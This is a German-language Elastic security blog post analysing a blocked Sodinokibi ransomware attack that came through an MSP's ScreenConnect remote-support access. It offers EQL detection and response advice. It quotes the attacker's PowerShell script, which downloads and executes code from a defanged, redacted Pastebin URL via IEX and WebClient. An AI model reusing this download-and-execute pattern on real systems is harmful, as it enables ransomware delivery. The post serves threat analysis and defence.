Engineering

Ransomware gestoppt: Sodinokibi und die Lieferkette

In diesem Blogpost wird auf eine Lösung namens „Elastic Endpoint Security“ verwiesen. Diese Lösung ist inzwischen in unserem neuen Produkt „Elastic Security“ aufgegangen. Elastic Security ist breiter angelegt als die alte Lösung und bietet u. a. Endpoint-Security, SIEM, Threat-Hunting und Cloud-Monitoring. In Zukunft bezeichnet der Begriff „Elastic-Endpoint-Security“ die Funktionen zur Malware-Abwehr, die in Ingest Manager aktiviert werden können.

Letzten Monat konnte das Elastic Security Protections Team einen Ransomware-Angriff auf eine Organisation vereiteln, die von einem IT-Managed-Services-Provider (MSP) betreut wird, der unser Kunde ist. Wir haben die Alarme analysiert, die ausgegeben wurden, nachdem Elastic Endpoint Security die Prozessinjektionsversuche des Angreifers auf mehreren Endpunkten verhindert hat. Erpresser versuchen oft, ihren Schadcode in laufende Prozesse zu injizieren, damit dieser die Daten des Opfers verschlüsseln kann. Anschließend wird das Opfer erpresst.

Das von uns in diesem Fall beobachtete Verhalten passte genau zu den Berichten über Angriffe auf MSPs mit dem Ziel, Ransomware in die Systeme großer Unternehmen einzuschleusen. Der Missbrauch des Vertrauensverhältnisses zwischen MSPs und deren Kunden bei dieser Art von Angriffen kann immense Auswirkungen haben – von schweren Schäden für kleine Unternehmen über Störungen des Transportwesens bis hin zur Stilllegung öffentlicher Dienstleistungen.

Bei diesem Fall war es so, dass sich der Angreifer über einen anderen MSP, der kein Kunde von Elastic Security ist, Zugang zur Zielumgebung verschafft hat. Wir haben keine näheren Informationen über diese Umgebung und darüber, wie sie gehackt worden sein könnte.

In diesem Blogpost besprechen wir, was für ein Verhalten wir beobachtet und verhindert haben, warum diese Art von Angriffen so oft Erfolg hat und was Sie tun können, um die Wirksamkeit dieser Angriffe in Ihrem Unternehmen einzuschränken.

Elastic Security Intelligence and Analytics, eines der Teams bei Elastic Security Engineering, nutzt anonymisierte Security-Telemetriedaten von teilnehmenden Kunden, um Bedrohungen nachzuverfolgen und Produkte zu verbessern. In diesem Rahmen werden auch Alert-Metadaten gesammelt. Die Beobachtung von Ereignismustern, die viele Kunden betreffen, versetzt uns in die Lage, schnelle Entscheidungen zu treffen und so aufkommende Bedrohungen im Zaum zu halten oder die Community mit wichtigen Informationen zu versorgen.

Verhinderung von Prozessinjektionsversuchen durch Angreifer

Die ersten Anzeichen für einen Angriff waren Meldungen über die Verhinderung mehrerer Versuche zur Prozessinjektion. Prozessinjektion hat das Ziel, Code im Adressraum eines laufenden Prozesses auszuführen. Angreifer verwenden dieses Verfahren häufig, um die Erkennung durch Sicherheitsprodukte zu umgehen oder ihren Schadcode in einem Prozess mit höherer Integritätsstufe ausführen zu lassen und so mehr Berechtigungen zu erhalten.

ransomware-prevention-blog-process-injection-alerts.png

Prozessinjektions-Alerts auf der Elastic Endpoint Security-Plattform

Eine Analyse der Prozessinjektions-Alerts ergab, das versucht wurde, über das leistungsfähige native Scripting-Framework PowerShell Shellcode in sich selbst zu injizieren – ein solches Verhalten deutet in der Regel auf einen Angriff hin. Der Prozess powershell.exe wurde als Abkömmling von ScreenConnect.WindowsClient.exe, einer Remote-Desktop-Support-Anwendung, erstellt. Diese Art von Software erlaubt es IT-Administratoren, sich mit Computern an anderen Orten zu verbinden und Endnutzer zu unterstützen, sie wird aber häufig von Angreifern missbraucht. In IT-Kreisen ist dies als „Living-off-the-Land“-Taktik bekannt.

Die Abbildung unten zeigt die unübliche Prozessabstammungslinie bei diesem Fall in Resolver™, unserer Visualisierung, die Ereignisse im Zusammenhang mit einem Angriff grafisch darstellt.

Darstellung der Prozessabstammungslinie im Zusammenhang mit dem Prozessinjektionsversuch in Resolver™

Zu beachten ist, dass sowohl cmd.exe als auch powershell.exe Abkömmlinge des Prozesses ScreenConnect.WindowsClient.exe sind. Angesichts ihrer Fähigkeit, Schadbefehle oder ‑skripts auszuführen, ist so etwas verdächtig, aber wenn man es isoliert betrachtet, muss nicht zwangsläufig ein Angriff dahinterstecken. Erfolgreiches Erkennen und Bekämpfen von bösartigem Verhalten setzt voraus, dass Sie den Normalzustand Ihrer Umgebung erfasst haben („Baselining“) und die normalen Prozessbeziehungen in Ihrem Unternehmen kennen.

In diesem Fall konnte durch die Prüfung der Prozesse und ihrer Befehlszeilenargumente ermittelt werden, dass der Angreifer der Remote-Desktop-Software ScreenConnect genutzt hat, um sich zu verbinden und eine Batch-Datei in den Zielendpunkt zu kopieren. Die Visualisierung eines der cmd.exe-Prozesse in Resolver™ hat zutage gefördert, dass die Batch-Datei ein mit Base64 verschlüsseltes PowerShell-Skript enthalten hat, das anschließend ausgeführt wurde.

Erkennen und Verhindern von unerwünschtem Verhalten mit EQL

Die Tatsache, dass dieses potenzielle Ziel durch Elastic Endpoint Security geschützt war, hat einen kostspieligen Ransomware-Ausbruch verhindert, aber viele MSPs sind erst noch dabei, sich in diese Methodik einzuarbeiten. Dieser Angreifer hat verstanden, dass Service-Provider aller Art das vorbehaltlose Vertrauen ihrer Kunden genießen und deshalb sehr wertvoll sind.

Nachdem der Angreifer sich erst einmal Zugang zur Zielumgebung verschafft hat, ist es üblicherweise – und so auch in diesem Fall – sein Bestreben, das bestehende vorbehaltlose Vertrauensverhältnis zu missbrauchen. Das Angriffsopfer vertraut den Verbindungen zwischen seiner Umgebung und dem MSP über die Remote-Desktop-Support-Anwendung. Dieses Vertrauen birgt das Risiko einer Lieferkettenkompromittierung (Supply Chain Compromise) in sich.

Bei der Überlegung, wie sich ein solches Vertrauensverhältnis überwachen und verteidigen lässt, ist es empfehlenswert, sich zunächst auf die Anwendungen zu konzentrieren, über die eine Verbindung zwischen dem Vertrauenspartner und Ihrem Netzwerk hergestellt wird. ScreenConnect mit den davon abstammenden Prozessen auf die schwarze Liste zu setzen und so zu versuchen, gegen dieses bösartige Verhalten vorzugehen, ist eher keine gute Lösung, da das die Support-Mitarbeiter in ihrer Arbeit behindert. Ein Security-Monitoring-Team kann jedoch zu dem Schluss kommen, dass ein von ScreenConnect abstammender Prozess, der auf das Netzwerk zugreift, verdächtig ist, und versuchen, dieses Verhalten zu erkennen und zu verhindern. Dies wird durch den Einsatz der Event Query Language (EQL) von Elastic ermöglicht und ist eine generische Methode, das Bewusstsein für die Umgebung zu entwickeln.

Mit der folgenden EQL-Abfrage kann nach einer Abfolge zweier Ereignisse gesucht werden, die über die eindeutige Prozesskennung (PID) des Prozesses miteinander verbunden sind. Das erste Ereignis sucht nach einem Prozess, der ein Abkömmling von ScreenConnect*.exe ist. Das zweite Ereignis sucht nach Netzwerkaktivität, die vom Abkömmling ausgeht. Diese Abfrage lässt sich problemlos so erweitern, dass auch andere Fernzugriffssoftware eingebunden wird oder dass die erwarteten Aktivitäten in der Umgebung herausgefiltert werden.

sequence by unique_pid
  [process where descendant of [process where process_name == "ScreenConnect*.exe"]]
  [network where true]

Mit Elastic Endpoint Security ist es auch möglich, eine Reflex-Antwortaktion zu konfigurieren und so eigene Verhinderungsregeln zu implementieren. So kann zum Beispiel der abstammende Prozess beendet werden, sobald er eine Netzwerkverbindung herstellt, sodass kein zusätzlicher Schadcode heruntergeladen wird oder irgendwelche Befehls- und Steuerungsaktivitäten ausgeführt werden können.

Konfigurieren einer Reflex-Antwortaktion auf der Elastic Endpoint Security-Plattform

Elastic Endpoint Security enthält Hunderte unserer eigenen verhaltensbasierten Analytics. Dazu gehören Möglichkeiten zur Erkennung und Verhinderung von vom Normalen abweichender Beziehungen zwischen Prozessen und externen Verwaltungstools oder Windows-, MacOS- oder Linux-nativen Programmen.

Analyse von Spionageangriffen

Das PowerShell-Skript, das ausgeführt wurde, hat zunächst die Prozessorarchitektur geprüft, bevor es die .NET-Klasse WebClient einsetzte, um Inhalte aus Pastebin herunterzuladen und mithilfe des Commandlets Invoke-Expression (IEX) Code auszuführen. Dieses Vorgehen, das das Herunterladen und Ausführen von Code per PowerShell ermöglicht, ist bei Angriffen sehr häufig zu beobachten.

Pastebin ist ein Dienst zum Hosten und Teilen von reinem Text, der gern zum Teilen von Code-Snippets verwendet wird. Angreifer missbrauchen Pastebin und ähnliche Websites aber zum Speichern von Schadcode oder zum Veröffentlichen geleakter Anmeldeinformationen.

If ($ENV:PROCESSOR_ARCHITECTURE  - contains 'AMD64')  {
    Start - Process  - FilePath "$Env:WINDIR\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"  - argument "IEX ((new-object net.webclient).downloadstring('https://pastebin[.]com/raw/[REDACTED]'));Invoke-LJJJIWVSRIMKPOD;Start-Sleep -s 1000000;"
} else {
    IEX ((new - object net.webclient).downloadstring('https://pastebin[.]com/raw/[REDACTED]'));
    Invoke - LJJJIWVSRIMKPOD;
    Start - Sleep  - s 1000000;
}
PowerShell-Skript, das Inhalte von Pastebin.com heruntergeladen hat1

Dieses Verhalten wird aufgrund der höchstens minimalen Festplattenaktivität am Endpunkt häufig als „dateiloser“ oder „In-Memory“-Angriff bezeichnet. Wenn der Elastic Endpoint Security-Agent einen dateilosen Angriff erkennt, erfasst er automatisch den Code und die Strings, die injiziert wurden, und extrahiert sie. Auf diese Weise haben wir eine lückenlose Einsicht in das verhinderte Verhalten erhalten.

Eine VirusTotal-Suche für einige der erfassten Strings ergab, dass verschiedene Exemplare aus der Sodinokibi-Familie von Ransomware beteiligt waren.

Die folgenden spezifischen Toolmarks und Verhaltensweisen weisen darauf hin, dass diese Aktivität Übereinstimmungen mit der von BleepingComputer und Cynet gemeldeten Ausführung der Sodinokibi- oder Gandcrab-Ransomware-Exemplare aufweist:

  • Der Angreifer hat für die Verbindung vom kompromittierten MSP zum Zielunternehmen die Remote-Desktop-Support-Software ScreenConnect verwendet.
  • Mithilfe von ScreenConnect wurde ein Batch-Skript in die Endpunkte kopiert, das ein PowerShell-Skript enthielt, mit dem Schadcode von Pastebin heruntergeladen und injiziert werden sollte.
  • Das PowerShell-Skript enthielt Commandlets und Strings (z. B. Invoke-LJJJIWVSRIMKPOD und Start-Sleep), die aus anderen Sodinokibi-Ransomware-Kampagnen bekannt sind.
  • Die aus den injizierten Threads erfassten Strings weisen Übereinstimmung mit Sodinokibi-Ransomware-Proben auf, die in den letzten 24 Stunden bei VirusTotal gemeldet wurden.

Nachdem der Versuch der Selbstinjektion von Shellcode und der Ausführung von Ransomware vereitelt wurde, gab es auf dem ursprünglichen Endpunkt vorerst keine Angriffsaktivitäten mehr. Nach 15 Minuten kehrte der Angreifer zurück und versuchte es mit denselben Prozeduren auf fünf weiteren Endpunkten, bevor er schließlich aufgab. Sämtliche Versuche, Ransomware einzuschleusen, wurden vereitelt.

Fazit

In diesem Blogpost haben wir anhand eines Beispielfalls aus unserer Praxis gezeigt, wie Angreifer das Vertrauensverhältnis zwischen einem MSP und seinen Kunden zu missbrauchen versuchen, um Ransomware einzuschleusen. Das zeigt, wie wichtig es ist, sich ein Bild davon zu verschaffen, was für ein Verhältnis zwischen Ihrer Organisation und externen Partnern besteht und was passieren kann, wenn dieses Verhältnis durch Angreifer missbraucht wird.

Die Analyse der Alerts hat ergeben, dass sich der Angreifer über eine Remote-Desktop-Support-Software Zugang zur Umgebung verschafft und versucht hat, mittels eines Skripts Ransomware herunterladen, injizieren und ausführen zu lassen. Alle Versuche des Angreifers wurden vereitelt.

Dieser Fall zeigt auch, wie wichtig sowohl eine mehrschichtige Herangehensweise an die Sicherheit als auch die Fähigkeit ist, bösartiges Verhalten und dateilose Angriffe zu erkennen und zu verhindern. Wir haben die Vorgehensweise des Angreifers seziert und gezeigt, wie EQL und Reflex genutzt werden können, um individuelle Regeln und Antworten zu erstellen.

Es reicht nicht aus, nur nach bösartigen Dateien zu suchen. Elastic Endpoint Security bietet einen aus mehreren Schichten bestehenden Schutzmechanismus, der Ransomware, dateilose Angriffe, Phishing, Expolits und schädliches Verhalten effektiv verhindert.

Wir sind dabei, Elasticsearch mit EQL-Unterstützung auszustatten.

1 – Der Inhalt ist mittlerweile durch den Ersteller selbst oder durch Pastebin von Pastebin entfernt worden.